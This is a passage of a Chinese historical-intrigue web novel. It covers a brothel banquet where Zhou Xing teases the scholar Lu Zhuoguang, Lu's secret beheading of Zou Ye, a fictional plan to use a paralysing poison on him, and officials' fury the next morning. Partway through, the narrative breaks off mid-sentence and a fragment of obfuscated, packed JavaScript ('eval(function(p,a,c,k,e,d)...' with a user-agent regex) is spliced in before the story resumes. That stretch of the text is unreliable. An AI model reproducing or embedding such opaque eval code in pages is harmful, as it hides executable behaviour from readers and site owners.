他身手矫健,在暗卫之中也属上乘,先前被指派夜探赵恪寝房的任务,然而赵恪身边的人颇为莫测,稍一靠近便立即被人察觉,他只能远远观望徘徊。 他甚至还感觉到有人在崔慧的住处附近监视,只是他并未捕捉什么明显痕迹,因此心头一直犹疑。 今夜赵恪出行将身边的人都带上,县衙空乏无守,崔慧认为这是查探的最好时机,命他假借熬药之由悄悄去办事。 夜寒风劲,他纵马疾驰,一路飞奔回县衙。这个时辰衙役早已休息,只剩两个昏昏欲睡的人守着大门,随从放轻脚步避开看守,畅通无阻地进入赵恪所住的院落。 赵恪只喜欢用自己的人,此时连个守门的人都没有,随从便悄无声息地摸进了漆黑的寝房,从怀中掏出火折子吹起,以小小火苗照明,一边仔细留意着外头的风吹草动,一边动作迅疾地在屋中搜寻。 照崔慧所言,赵恪生性多疑而自负,从邹业家中搜出的东西倘若没有销毁,定然会放在他自己的寝屋里。 至于是什么物件,崔慧应是猜得八.九不离十,但因着那一两分的犹疑而无法下定论,只吩咐道:“那东西一定十分关键,包含诸多信息,只要你能找到,必然就能认出。” 在这之前他都不理解崔慧这句话的意思,但等他从赵恪床上的另一个枕头下摸出个盒子后,就懂了崔慧所言。 盒中摆着几块大小不一,未经过打磨的黑色石头,随从捻起一块在火苗下一照,便隐隐见里头散发着闪闪金光。 他心中大惊——这的确是一个只要看到,就能认出是从邹业屋中搜出的东西! 随从不敢有半刻耽搁,立即合上木盒动身离开,却忽而听见门“吱呀”一响。 他浑身一震,后背瞬间惊出了冷汗,本能地掩住了火折子,让周遭归于黑暗。 四下静谧无声,一缕光从门处探进来,他悄然动身,欲找地方隐藏,却忽而听一娇俏声音问道:“有人在里面吗?” 是女人。随从暗松一口气,想起赵恪的确还有两个美妾留在县衙,门口的应当是其中之一。 既是女子那便没什么威胁,他思索着,一跃而起,一手抱住木盒一手蒙在脸上,猛然提高了速度打算强闯出去! 冲出内室的刹那,就见身着罗裙的年轻女子提着灯站在门处,月光已隐,灯笼散发出温暖的光,照亮美艳的一张脸。 她分明看见有一人从黑暗中闯出,却并不惊讶慌张,面上挂着淡淡的笑:“还真有人,怎么不说话?吓我一跳呢。” 也是打着照面的一瞬间,随从突然意识到一件事——他并未听到这女子行来的脚步声。 13. 折腰渡酒 粉戏的精髓其实并不在“色”,而是在“欲”,只是这草台班子也没那么多讲究,为讨达官贵人的欢心,自是怎么下流怎么演,眼下这台上就摆了一架简易的床榻,坠着帐子,两人滚入帐子里,吱吱呀呀地摇晃着。 这已是今夜的第二场戏,茶水早已撤下,几人的桌上摆了酒,由姑娘们轮番上前添酒,已经喝过几轮。 崔慧总觉得眼皮乱跳,心神不宁,注意力无法凝聚于台上,不断偏头朝后院门张望。时间一长,就让身旁的赵恪察觉,他抬手拍了几下,喊道:“停、停,别唱了!” 小厮立即上前叫停,打着板眼的鼓板登时停下,扮演生旦的两个女子也慌忙从床帐出来,不知哪里惹了这位大官不高兴,手足无措地站在台中,整个大堂瞬间安静下来。 赵恪捏碎了花生壳,慢悠悠地往嘴里一扔,笑问:“崔大人有心事?” 崔慧意识到自己的状态叫赵恪看出端倪,便立即收敛了情绪,从容道:“只是逾时未喝药,身体状态不佳,赵大人见谅。” 赵恪一脸意味深长:“哦,也是,你那随从怎么煎药煎到现在还没回来,莫不是迷失在哪个姑娘的房里了?” 崔慧道:“赵大人说笑,我这药本就得煎够时辰,且有些药草熬煮时间不同,因此需耗费不少时间。” “我见崔大人心不在焉,若非有心事,那想来便是这戏唱得太过乏味。”赵恪倒不像是关心崔慧,而是随便找了个理由发难,当下翻脸对台上的人斥责,“你们这演的是什么东西?连个正经的唱腔都不会也敢上台,在这儿糊弄傻子不成?都给我滚!” 风月楼的人,不论男女都早已习惯伏低做小,面对疾声厉色第一反应便是弯腰求饶,对上赵恪此等大官更加不敢怠慢,纷纷跪在地上讨饶。 陶缨见状,忙从后台小步跑出来,点头哈腰地来到赵恪面前:“大人,我们楼里的姑娘哪里见过正经戏班子呢?都是半吊子功夫,权且当个消遣而已,还望大人恕罪。” 赵恪将她上下打量,往后一靠,下令:“我听闻你的青衣扮得不错,上去给我演一段。” 陶缨好声好气道:“大人想听,是奴家的荣幸,且等奴家去后头换上行头。” 早知赵恪不会安安分分听戏,必要闹上一出,陶缨已经准备好各种应对,眼下这个倒不算是刁难,她转身正欲去后院,却听赵恪道:“慢着。” 他道:“行头就不必换了,你就接着台上的演,我给你挑个搭戏的。” 赵恪转头,朝后排望了一眼。 正后方坐着陆酌光,虽面上还端着儒雅的架子,但微敛的双眸里满是兴致缺缺,显然不管是台上的戏剧还是台下的闹剧都不感兴趣。 他身旁的周幸也没有放过这个能与秀才搭话的机会,正凑近了他小声低语,并不关心面前的事。 冯宗低着头,佯装茶水洒在身上,正专心擦拭,生怕与赵恪对上目光被点上台。 唯剩一个吕鸿,他喝了几杯酒,茅房也跑了几趟,此刻双颊发红,眼冒精光,盯着陶缨发痴。 这正是非常合适的人选,赵恪点头:“就你了。” 吕鸿约莫是唯一一个心无旁骛浸□□窟的人,莫说是要他上去跟貌美如花的老鸨摇床帐,只要能讨赵恪欢心,便是让他上去演一条色狗,他也绝无二话。 他当下便起身,连声应道:“太好了太好了,感谢大人给小官这个机会,既是赵大人想看,小官定全心全意地演。” 齐煊本就被这锣鼓声吵得疲倦,眼下见赵恪又拿人取乐,不由心烦意乱,揉了揉眉心道:“吕鸿又不会唱戏,叫他上去做什么?你安生看戏吧。” 赵恪却不依:“咱们今夜就是为寻欢作乐而来,光看戏有什么意思?自是要找乐子。王爷你不必管,相信吕大人定能比台上的那些人演得精彩。” 陶缨看了一眼迫不及待要冲上台扮丑角的吕鸿,倒也没有表现出不愿,只是笑吟吟道:“大人随奴家来,先给您对对这戏怎么演。” 吕鸿摩拳擦掌,乐得忘乎所以,几个大步就追到了陶缨的身边,那双眼睛好似能敲骨吸髓般从上到下将陶缨刮了一遍:“那就劳烦姑娘了。” 堂中响起窃窃私语,周幸轻转目光,从陶缨的背影上掠过,又在吕鸿那满是横肉的后背看了看,将指尖剩下的半个果干咬进齿间,倏尔起身,道:“赵大人。” 赵恪转身露出一张笑脸,满面写着“意料之中”,显然就等着周幸说话:“怎么?” 周幸躬身抱拳,笑眯眯道:“小人见王爷兴致不高,想来这种俗戏看多了也觉得乏味,正巧小人早年讨生活的时候学过几个把式,想献丑给王爷逗个闷子。” 赵恪轻挑眉尾:“哦?那我还真要瞧瞧你会什么把式了,倘若逗不乐王爷怎么办?” 周幸道:“任凭大人处置。” 赵恪乐得看戏,当下拍手应允,不见方才那半点不依不饶的难缠模样。吕鸿倒是有些被人截胡好事的不悦,转头偷偷瞪了周幸一眼,满是不甘地回到座位。 陶缨领着周幸去了后台,为她脱下厚重的棉衣,低叹道:“何必,既然赵恪想找乐子,我上去演一段便是,不费什么事儿。” 周幸私底下并不怎么嬉皮笑脸,此时眉眼沉静,轻仰着头让陶缨系衣扣。 她分明有着一张极其年轻的面孔,但挺直了脊背站着时却莫名有着不可侵犯的威仪,淡声说:“他目的不在找乐子,你演完了还会寻别的刁难。” “青楼不就是让人取乐的地方,他想怎么闹我都有法子应对,你方才不该出声,这明摆着是试探。”陶缨摆弄着她袖子上那一圈赤红的流苏,脸上是抹不开的浓愁。她觉得是风月楼里的人办砸了事,加之她处理得不够好,才导致周幸不得不站上戏台。 被人糟践和应对是两码事。然而多说无益,周幸并未与她争论此事,只道:“叫人备一杯酒,在台下候着。” 陶缨为她换好了衣裳,取了一把唱戏用的长剑双手奉上。 周幸持剑而出,从暗处走到灯下,随着鼓板敲响,她踩着木梯上台。 楼中行头简陋,并无武旦所穿的“靠”,头面妆容也一概没有,原本绾着长发的簪子被取下,一把秀丽的青丝以红色丝带系着,乖顺地垂在后背。 那臃肿厚实棉衣脱下后里头是素色的长裙,套了一件鹅黄色的帔,双袖坠着一圈赤红的流苏,随着她的步伐晃动,不多时人就到了台子中央。 她手里握着的那把薄而轻盈的长剑并非真铁打造,犹如抓了一汪流动的水,随着起舞的动作,那水亮的剑就变得柔软无比,折射出四方的灯火,化作零碎的光散落各处,似惊鸿过隙。 周幸穿着厚实的棉衣,缩着脑袋赔笑时,是个实打实的市井俗民,然而换上这身色彩明艳的戏服后,摇身一变成了台中身形似鹤,腰韧若柳的剑客,一招一式显出不经意的寸劲。她并无寻常戏子浓妆艳抹的艳丽,却令人眼前一亮,不由自主被她的身姿吸引目光。 周幸心知赵恪不是真的要看这种把式,因此随便耍了几个花招糊弄,待板眼停顿的间隙,她动作一定,视线掠过台下众人,与陆酌光遥遥对上。 他今日换了一身黑衣,坐在灯光昏暗处,还真不大显眼。晦暗的夜给他的眉眼蒙上一层朦胧,看不分明时那双眼睛便不像平日那么文弱温和了。 周幸攥住他的视线,忽而灿然一笑。这一笑,就让陆酌光直觉不太妙,果不其然就见她旋身至台边,猛然一个后空翻,轻盈落地,这动作利落又漂亮,连赵恪都颇为惊叹,忍不住拍手。 在一众叫好声中,她来到台下早已候着的姑娘身旁,将长剑递出,而后低头从她的手中咬起酒杯。 周幸衔酒杯于口,身形稍斜,忽而足尖用力开始数下连轴旋转,步伐朝着陆酌光靠近的同时,口中的酒竟没有撒出来半滴。 这功夫堪称绝活,便是专业的戏班武行,也少有能做到的。赵恪见状,站起来大喊一声:“好!” 她稳稳当当地停在陆酌光面前,轻弯下腰,双眸如含情般凝视陆酌光,轻抬下巴,将口中的酒杯送出。 陆酌光简直大难临头,连忙往后闪躲,抬手连摆:“周姑娘,这可使不得……” 倘若有人为难陆酌光,赵恪定然是第一个为其加油助威的,他兴奋得几乎要跳上椅子,大叫:“快接,快接!酌光兄,莫辜负美人的好意!” 赵恪自有一众狗腿子一呼百应,那些站于两边的侍卫随从应声附和,纷纷喊着叫陆酌光接下这杯酒,大堂内一时无比哄闹。 台上鼓板仍在作响,周遭起哄的声音像是给炉子里添了好几把火,使得温度极速高升,烤得陆酌光俊脸晕开绚丽的红晕,顺着耳根染到耳朵尖,连带着脖子都红了一大片。 他想抬手将周幸咬着的酒杯接下,却被周幸向后一撤身给避开了。 吕鸿更是看热闹不嫌事大,喊着:“美人儿!他不要便给我吧,我愿接美人儿的折腰渡酒。” 陆酌光如同被架在火上烤,赵恪又高声催促,他推拒无果,只得红着脸,动作僵硬地仰起头,像是很无奈又很羞赧,凑近了周幸,咬住了另一边杯沿,但没想到周幸却并不松口。 陆酌光抬眼看她,如此近的距离,即便是周围再怎么吵闹,他还是听到了周幸的呼吸声。方才在台上台下忙活了一阵,她的呼吸较之先前粗重不少,萦绕在耳边。 陆酌光还从浓郁的酒气里捕捉到一丝青梅的香味,她似乎很爱吃酸甜的果干,放在盘子里的果干已经被她一个人吃完,这股味道就是从她唇齿里传出来的。 那双褐色的眼睛不知映了什么地方的灯火,正似笑非笑地看着他。 “喝!喝!”赵恪一边拍着手一边大喊,其狗腿子也跟着和声。 陆酌光只得将腰杆子弯下来,仰起头,将杯中的酒一点一点喝进嘴里。周幸偏要使坏,故意晃了一下,晶莹的酒液从他的唇角洒出来,滑过下巴,顺着颈子淌入了衣领里。 陆酌光转过头,呛得咳嗽起来,手忙脚乱地擦拭脖子里的酒液,那窘迫的模样惹得哄堂大笑。 周幸也不再戏弄他,一下将余下的半杯酒饮尽,嘴角噙着笑意问他:“陆秀才,这酒好喝吗?” 陆酌光咳得满面通红,唇上水光潋滟,赧赧不语,完全是被人轻薄得模样,眼角耳根的红霞化作点缀,让他看起来无比昳丽。 这场面,是再荒唐也没有了,但凡换个脸皮薄的怕是要当场撞在柱子上。 冯宗捂住脸,心里满是虔诚的乞求:希望只结情,不结仇,当然如果真的结仇了也希望陆秀才是个敢怒不敢言的。 赵恪看得开怀大笑,哪里还会再追究什么,当下喊了一声“赏”,给风月楼上到姑娘下到小厮都慷慨地给了赏银,还让人倒了酒,给侍卫和衙役也送上,轮番给陆酌光敬酒,嘴里说着什么“今夜就送陆秀才洞房花烛”的浑话,热闹得像是生意最好时段的菜市场。 周幸回后院换了衣裳再回来,陆酌光已经在轮番的攻势下灌了几杯,双眼都朦胧起来,怔怔地坐着,大有一股倒头就睡的架势,但约莫还端着文人雅正的架子,不愿东倒西歪。 周幸看了会儿,觉得颇有意思,歪着身子凑近:“酌光,你还没回答我,方才那杯酒好不好喝?” 陆酌光平日里反应就稍显迟缓,眼下更像是醉了,懒声道:“陆某不胜酒力,见谅。” 周幸又道:“明日我去找你如何?我给你写字,你可有闲时间?你会不会嫌我粗鄙,我虽生于乡野,但也是读过几年书的,你先前说的《周礼》我也看过。” 陆酌光怔怔出神,无一回答,将方才的话重复了一遍:“陆某不胜酒力……” 他扶着头闭了闭眼睛,似难受得恨了,缓了好一会儿才再次睁眼。那双漆黑的眼睛浮出隐隐水光,眼角的红一直未褪,衬得人无辜极了,简直如同任人宰割的羔羊,温驯、乖顺。 周幸摸了摸衣襟,从棉袄的夹层中掏出一本薄书,送到陆酌光面前,凑近他的耳朵低语:“你看这是什么。” 陆酌光一见是书便顿生戒备,还以为又是周幸耍的花招,但转眼一瞥,忽而发现这是个非常正经的东西。 这是一本游记,里面有诗、词和一些散言小记,倒不是字句多么有文采,而是这本书的作者乃是百年前有名的大书法家,这本《游江南记》是他前往江南游玩时随手写的,被后人装订成书,流失于乱世。 陆酌光喜欢他的字,他整日拿在手里的研究的那本书,便是这位书法家的临帖。乍得喜爱之物,陆酌光的心情溢于言表,将书捧在手里摩挲,半敛着的羽睫轻颤,黑眸里难以掩饰灼灼亮意。 周幸用手掌托着下巴,观摩陆酌光满脸喜爱的神色,笑道:“这可是真品,天下只此一本,再无第二。” 陆酌光抬头,盈盈目光称得上亮晶晶:“你从何处得来?” 周幸道:“我这些年也不是白忙活,自然认识些喜欢倒腾字画的朋友。” “如此大礼,我怎么好意思收?”陆酌光嘴上这么说着,却没有半点要撒手退还的意思。 周幸将人哄得开心了,才再次问明日能不能去找他,这会儿的陆酌光岂有不应的道理,当下就点头说明后两日都有空闲。 这机会正好,适合将关系更近一步,然而还没等周幸提出别的要求,赵恪就端着酒杯找来了。他看起来比先前兴奋得多,肚子里灌了不少酒,舌头都大了一圈,对周幸的表演赞不绝口,拉着她喝酒。 周幸无法再与陆酌光咬耳朵,只得端着酒杯点头哈腰,挤进了奉承的圈子,披上市井小人的“皮”,将酒一杯一杯往肚子里灌,喝得天昏地暗,大有一副不醉不归的架势。 崔慧心事重重,一晚上不见随从归来,没什么心情喝酒,算是几人之中最清醒的。 酒过几轮,赵恪终是被灌醉了,走路都打飘,让人左右给架了起来,像一坨毫无骨头支撑的烂泥巴。 齐煊也醉了七八分,见状便说出了原本应该憋在心里的感叹:“这闹剧终于结束了。”他命人将赵恪抬着,喊上崔慧,而后领着浩浩荡荡的队伍离开了风月楼。 吕鸿已然醉死,歪在地上打起呼噜,冯宗尚能保持清醒,安排了人送吕鸿回去后,才拉着晕晕乎乎的周幸道:“明日酒醒你来找我,我有话对你说。” 周幸站着都打晃,用手撑着座椅,好半天才回答:“明日哪有空啊?我还要去找陆秀才。” “你就歇歇吧。”冯宗头痛得很,使劲儿捏了捏鼻梁,努力让自己保持冷静,“今天闹得还不够?追得紧了人家背上行李回京城去,我看你往哪找!你明日来找我,绝不会让你白跑一趟。” 周幸含糊应了,像是醉得不分南北东西,冯宗说要派人送她回去,她摆摆手拒绝,道自己今夜就歇在风月楼。 一楼大堂陆续走空,只留下满地狼藉和浓郁的酒气,小厮们上前来打扫,打起窗子,让寒风吹进来,稍微散去了那些难闻的味道。 周幸在椅子上坐了会儿,缓缓吐出几口浊气,再抬眼时方才那浑浊的朦胧已消散大半,眉眼落于平静,露出几分清明。 陶缨端着一杯水来,柔声道:“难受吗?先簌簌口吧,我给你煮些醒酒汤。” 周幸接过,含了一口在嘴里,周围吵吵嚷嚷,几个年纪不大的姑娘挽着手笑嘻嘻地凑过来,打趣周幸:“幸姐,秀才的嘴是不是跟旁人的不一样,我们也想跟京城来的秀才吃嘴子。” 周幸将口中的水吐出,哼笑一声道:“还没吃上,改日要是吃上了,回来跟你们说说这秀才嘴里有没有比旁人多一条舌头。” 陶缨见不得她们闹腾周幸,当下虎着脸将逗趣的姑娘们驱散:“去去去,没事要忙了就早点回房休息去!” 周幸满不在意地一笑,从袖子里摸出一两银子递给陶缨,低声道:“今日姑娘们辛苦了。” 陶缨推拒:“已经得了那赵大人的赏钱,不少呢。” “不一样。”周幸塞她手中,说,“这是姑娘们忙活一晚上的酬银。” 陶缨也没有坚持拒绝,收了银子后道:“你去房中休息,我给你备水。” “别忙,我不留宿,今夜的事还没完。”周幸转头,透过窗子望向天边的月亮,隐约看出当下已是丑时。 赵恪消停了几日,今夜突然摆那么大排场,还将所有人都带在身边,实在刻意,不知道在打什么算盘,总之不会只为了喝花酒那么简单。 周幸疑虑他有别的目的,因此今夜不打算睡,时刻等着消息。 陶缨没再劝,只是去后厨煮了些醒酒的汤端给她喝,风月楼打扫干净后众人都回房休息,待到丑时过半,有人轻敲后门,声音略显急促。 周幸起身去开门,就见钱不断站在门外,急匆匆道:“老大,邹业已归。” 14.月下红梅 几日前,邹业在赌坊里输了个精光,离开后连家都没回匆匆出了城。 旁人都说他生财有道,手里有花不完的银子,却并不知他那些银钱从何而来——那是他守了几年的秘密,从未跟任何人提起,因此每次出城都小心翼翼,生怕有任何人跟踪。 这次与先前每一次都相同,他先去取了金子,随后又跑到十几里外的乡中找到老伙计,将金子处理干净,融成一颗颗小金豆子,如此一来一回就花了几日的时间。 守城门的衙役与他关系不错,宵禁时间本不允许任何百姓出入,但他出手大方,一两银子说给就给,门卫便会睁一只眼闭一只眼,将他放行。往日那衙役还会与他讨价,多要一些银子,今夜却尤其顺利,好似上天都在犒慰他这几日的奔波。 邹业心情不错,揣着一包金豆,哼着小曲儿在深夜归家。虽这几年来他不缺金银,但也深知这钱来源不干净,吃了大教训之后再不敢大张旗鼓,以免招致杀身之祸,平日只用来吃喝玩乐挥霍。 这样的活法终归长久不了,邹业已经思考将金子全带走去个百里之外的新地方,改头换面重新生活,总好过这一日日地如过街老鼠,叫人看不起。 夜深天寒,他打开门锁时闻到一股奇怪的味道,暗骂这又是哪家的狗尿在门上了,呵着热气推开院门,才刚走两步,他余光就瞥见院子中那石桌旁有个什么东西忽然一动。 邹业毫无防备,甫一看见就给吓了个魂飞魄散,大叫了一声,旋即发现那是个人。 他与黑夜融为一体,悄无声息,若非自己动了一下叫人察觉,邹业定然会毫无察觉径直走过。邹业也没料到哪个脑子不正常的人大半夜坐在他家院子里,当即破口大骂:“娘的,你谁啊!怎么在我家?!” 正逢云散月明,在院子中洒下一片皎洁,照在那人身上。他身着黑衣,长发束起利落的马尾,坐姿儒雅秀气,衣襟前的白梅绣得精致漂亮,在月下似有银光流溢。 邹业借月光看了个分明,那是一张称得上俊美无双的脸,眉眼正蕴着轻浅温和的笑,客客气气地问他:“阁下可是邹业?” “何时进的城?”周幸在夜下疾步而行,寒风似刀,凌厉地刮在她苍白的脸上,不见半点血色。 钱不断回道:“半刻钟都不到。” 钱不断并不是个正经的名字,他本名钱嵩,其爹娘在取名时大概是希望这小子长成高大而巍峨的山,奈何他的骨头不争气,如今年满十八,个头跟同岁的姑娘家不相上下,瘦成一把柴禾。他认为是“嵩”字太大,压得他不长个,所以给自己取了个诨名,通常以“钱不断”与旁人交往。 也许正是因为个头小,骨头轻,他奔跑和行动都有着超出常人的迅速敏捷,据他自己所言,他速度最快时可媲美汗血宝马。因此他担任了报信、盯梢、打听各方消息等重要事务,这几日都忙着守城门。 一见邹业进了城,他便飞奔到风月楼,给周幸报信。 照理说有燕决跟在邹业身后,本用不着出动周幸,毕竟燕决的身手和功夫是他们当中最为拔尖的。但邹业进城时,钱不断藏在暗处看得分明,跟在后方的燕决遥遥冲他打了个“寻求援助”的手势,钱不断不敢耽搁,立即找到周幸。 城门处都有专门抓捕邹业的衙役看守,但他却能被放进城,可见赵恪早已提前打点过,即说明邹业进城后,不仅是周幸得到了消息,赵恪那边同样也得到消息。 周幸心中一凛,总有不大好的感觉,酒已经醒了大半,对钱不断道:“我去邹业家走一趟,你不必跟着了。” 她虽对燕决的身手放心,但赵恪手下也不是什么歪瓜裂枣,为防意外情况,周幸一路不敢停歇,飞奔至邹业家。 邹业为了办事方便离群索居,家住偏僻之地,院墙两侧栽着常青树,便是寒冬也枝叶葳蕤,随风摇曳。此刻院门紧闭,没有任何灯火光亮,不像是有人回来的样子。 四下寂静无声,任何风吹草动都能听得一清二楚,周幸放轻了脚步靠近,待行至墙边,扑面而来的风混着一股浓郁的血腥味,传进她的鼻子里。 周幸察觉不妙,轻盈地翻上墙头,借着茂密的枝叶遮挡身躯,往里窥探。院中没有点灯,但月光极亮,将整个院子都照得清清楚楚,就见那石桌旁横着两具衙役的尸体,脖子处都有着狰狞的伤口,殷红的血淌了一地。 紧接着,门扉吱呀一声轻响,有人从卧房走出,周幸立即往下躲了躲,只露出一双眼睛。 就见前半夜还在风月楼中醉眼朦胧,红着耳朵说自己不胜酒力的陆酌光站在那。 他步伐轻慢,几步行到月下,一身墨黑的衣裳足以掩盖所有色彩,衣襟上那几朵梅花红如朱砂滴血,十分夺目,张扬地盛开着。 他左手提着个新鲜的头颅,血流不止,顺着他的行迹在地上流下一条淋漓血痕,右手则从怀中摸出了一本书册,借着月光一照,上方的墨迹已经被血液染透,他看了又看,惋惜地嘀咕:“名家孤本,字都看不清楚了,这可怎么好。” 此人大概也知道温和与文雅在自己的脸上有着得天独厚的优势,因此平日里即便没有情绪,那双眼睛也似笑非笑,叫人不由自主心生亲近。然而一旦露出本来面目,漠然的杀意简直是锦上添花,眼角溅上了几滴殷红的血,衬得他眉眼昳丽非常,连这份俊美都极具攻击性。 周幸没控制好气息,呼吸一重,下一刻,陆酌光抬起头,偏头望来。 墙头上只有茂密的枝叶随着夜风轻摆,仿佛方才那一瞬间的呼吸声只是错觉,但陆酌光知道自己在这方面从来不会产生错觉,院墙的另一面此刻必定站着一个人。 万籁俱寂,陆酌光站在院中,静谧的双眸盯着墙面,对今夜要不要多杀一人而略作思考,却正逢李言归推门而入打断思绪。 他气息未平,衣袖还有刀痕,显然刚结束恶战,往院中扫了一眼后视线停在陆酌光左手提着的脑袋上,露出不解的表情,虚心请教:“这是?” 陆酌光言简意赅:“赠礼。” 李言归心说不好,忙问:“给谁的?” “问这么多做什么?又不是给你的。”陆酌光刚完成任务,心情还算不错,“走了,回去交差。” 李言归也不是很想要这别开生面的赠礼,不过也不需要再追问,他已经猜得八.九不离十,想必现在不阻止陆酌光,明日赵恪醒来就会看见床头摆着个面目狰狞的头颅。 为了明后几日的和谐安宁,李言归劝道:“你把头带走,他们就无法确认死的是邹业了。” 陆酌光脚步一顿,才想起这茬,于是只好将头颅扔在地上,并自作主张替别人可惜:“赵恪收不到这份大礼,应该会遗憾。” 李言归心想:并不会。 二人不再多言,离开这满地滚血的院落,回去交差。 另一头城郊医堂,屋中点着一盏灯,散发出微弱的光芒。 隗谷雨年迈,熬不动深夜,坐于角落静默不语,强撑着精神等候。钱不断倒了热茶,送到他手边,低声道:“隗老,喝点茶提提神。” 莫惊秋端着刚调配好膏药,行至桌前。桌边坐着一个年轻的男子,他眉眼平淡,气质沉闷,此刻上衣半解,露出的左膀子上有一道新鲜的刀伤。 “有点痛,忍着。”莫惊秋交代一句,随后将药覆在伤口处,手上猛地用力,大开大合地糊住伤口,这男子的表情没有半点变化,连呼吸都保持平稳。 周幸推门而入,轻飘飘的像是被一阵刺骨寒风送进来,屋中四人同时起身行礼:“少主。” “怎么伤的?”周幸反手关上门。 他答:“我跟随邹业,刚回城便遇袭,对方身手不凡,为了不惊动邹业,我只得将人引走。搏斗中我中一刀伤了左臂,对方中两刀破了衣袖,并未受伤。燕决办事不力,自请领罚。” “先疗伤。”周幸摆了摆手,坐下来沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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隗谷雨自明白言下之意,道:“若要索命,药须入口或是融于血,但此人警惕非常,怕是不会轻易得手。不如用软骨粉。” 软骨粉是一种粉末状的毒药,无色无味,可溶于水服用,也可燃烧后化烟使用,只要摄入便会逐渐双目不能视物,浑身无力。毒效能持续几个时辰,越是久,症状越是严重,是隗谷雨专门研究出来对付顶尖高手的毒物,因材料繁杂且极难炼成,十分珍稀。 周幸道:“我明日来取。” “少主不可!”莫惊秋立即出声反对。陆酌光的本事深浅实际并不明确,目前只知李言归功夫高得能伤燕决,就算陆酌光不如他,对付起来也相当棘手,周幸竟然想亲自动手,此举太过冒险。 “燕决伤得不重,且还是左臂,不大影响行动,叫他去便是。” 燕决点头赞同:“若用药,杀他轻而易举。” 周幸却想起今夜她伏在墙头上没收住呼吸的那一刹,仅仅是瞬间,就让陆酌光从鼓动的风里捕捉。她道:“不行。他戒心极强,你们莫说杀他,恐怕近身都难,目前唯有我能让他稍稍放松些警惕。” 莫惊秋还要再劝,却听周幸沉声截断话头:“这是命令。” 灯芯闪烁,堂中忽明忽暗,周幸的脸上只落了一星火光,眉眼肃沉凛然,隐有当权者的独裁。 周幸的命令,即代表不可质疑,不可反对,不可违背。 其他人一概默声不语,眼观鼻,鼻观心。莫惊秋只得将话憋回肚子里,难掩满脸低落,连给燕决包扎的动作都慢下来。 “钱不断,通知叶嵘,他可以行动了。”周幸撂下这句话,起身推门而出。 她抬起头,只见厚云蔽月,大地一片黑暗,半点不见前路,扑面而来的寒风一个劲儿地往脖子里钻,浸入骨骼中,像是连血都凉透了。她神色如打了冰霜,双眼更显冷戾明亮,低低呢喃:“陆酌光,你乖乖当个穷酸秀才多省事。” 15.车前有路 隔天一大早,冯宗还没睁眼,就被下人的传报吓得一个鲤鱼打挺坐起,连滚带爬赶到县衙,才刚进门就听见一个响亮的巴掌,脆生生的,必得是打在厚实的肉上才能发出的声响。 吕鸿被赵恪一个大嘴巴扇倒在地,白花花的肥脸当下显出殷红巴掌印,他不敢捂着只飞快跪好,大呼:“王爷饶命,大人饶命!” 堂内跪了满地的衙役,齐煊居于首位,神情满布阴郁。崔慧因宿醉脸色也不大好看,赵恪更是大发雷霆,站在中间怒骂吕鸿的愚蠢,侧方只有坐着个陆酌光,正低头安安静静地看书。 什么时候了还手不释卷!当真那么爱读书怎么只考了个秀才! 冯宗对这秀才心生不满,悄然进了屋子跪下,大气不敢喘,在心中许愿赵恪打过了吕鸿之后就别再打他了,他这一把老骨头可扛不起揍。 赵恪厉声斥责从头顶落下来:“一群办事不力的废物,不是一早就让人守着城门,怎么还能把他放回家了?” 吕鸿连连叩头,哀嚎道:“下官也不知啊!昨夜贪杯不慎醉酒,醒来就听到小吏传报邹业被杀,还没来得及查……” 赵恪怒声打断:“人都死了,还如何查?!” 冯宗的情况与吕鸿所说完全一致,他昨夜喝多了酒,回家倒头就睡,结果今儿一大早就听到下人传报说邹业昨晚死在家中,是被人枭首而死,干脆利落,而守在他家的两个衙役也一同被杀害。他听后立即明白大事不妙,饭都不敢吃一口匆匆赶来,本想先了解情况,却正撞上岭王三人在此问责。 崔慧的脸色憔悴疲倦,眼中尽是红血丝,颇像是一夜未眠耗尽了精力,冷眼旁观许久,此刻才开口:“赵大人这会儿才急,是不是晚了些?” 赵恪望向他,饶有兴趣道:“崔大人这话我怎么听不懂?不妨直说。” 崔慧道:“先前查案时不见赵大人身影,怎么邹业一死你反倒第一个站出来问责,是不是早就想好了怎么演这一出戏?” 赵恪负着手,回身走了两步停在崔慧跟前,居高临下地睨着他:“你这话像是说我早就知道邹业会死?” 崔慧抬眼与他直视:“不敢,只是你昨夜突然设宴闹了半个晚上,让所有人都喝得大醉而归,今日一早就传来邹业死的消息,未免太过巧合不是?” “崔大人,你在都察院任职,应知弹劾百官须以证据为引,眼下你空口白牙地污蔑,我是不是可以怀疑你们都察院多是血口喷人之辈?”赵恪轻轻挑眉,似有恃无恐,丝毫不惧崔慧的指摘,又意味深长问,“崔大人今日吃药了吗?” 崔慧脸色一变,当下缄口不言。昨夜本以为赵恪将所有人带在身边,住所无人留守,他就派了随从去搜查赵恪的寝房,然而随从却一夜未归。 不用想,自是折在赵恪手里了,只是他怎么也想不通,那身手不凡的随从究竟是怎么在无人看守的县衙里失手的。 更要命的是,邹业于昨夜被害身亡,这意外始料未及。 几位京城来的高官问罪,堂中除了吕鸿哭嚎几声之外没别的声音,一众衙役不敢抬头,冯宗更是连请罪的胆子都没有,悄悄抬头瞥一眼,坐在前方的齐煊阴沉得可怕。 先前他几次发怒虽模样凶戾,但那都是雷声大雨点小,仿佛就是等人上去劝,此刻却不同,他的沉默宛如利刀,是随时可以落在别人脑袋上的。 眼看着王爷动了大怒,吕鸿已顾不得脸面——刚走马上任才几天,可不能在此时被摘了乌纱帽。 他赶忙膝行几步,声泪俱下地求道:“王爷明鉴啊!小官才刚进县衙没几日,哪里知道这县衙藏污纳垢,尽是光吃饭不干活的人,况且那邹业家小官也派了人留守,岂知那凶手能耐那么大,竟能连杀三人,那邹业甚至人首分离,这等手法狠毒利落,活脱脱是个畜生!非我们这小小县城的衙役所能敌啊!” 陆酌光闻言缓缓抬头,看了吕鸿一眼。 “县衙内俱是酒囊饭袋,难怪一桩案子查到现在都没进展,也不知你们平日里有什么脸面领俸禄。”齐煊的目光从衙役身上掠过,面上青筋隐隐暴起,已然彰显他忍耐怒意至极限,“将昨夜守南城门的衙役仔细问审,倘若问不出是谁将邹业放进城而不报,即刻全数杖毙。” 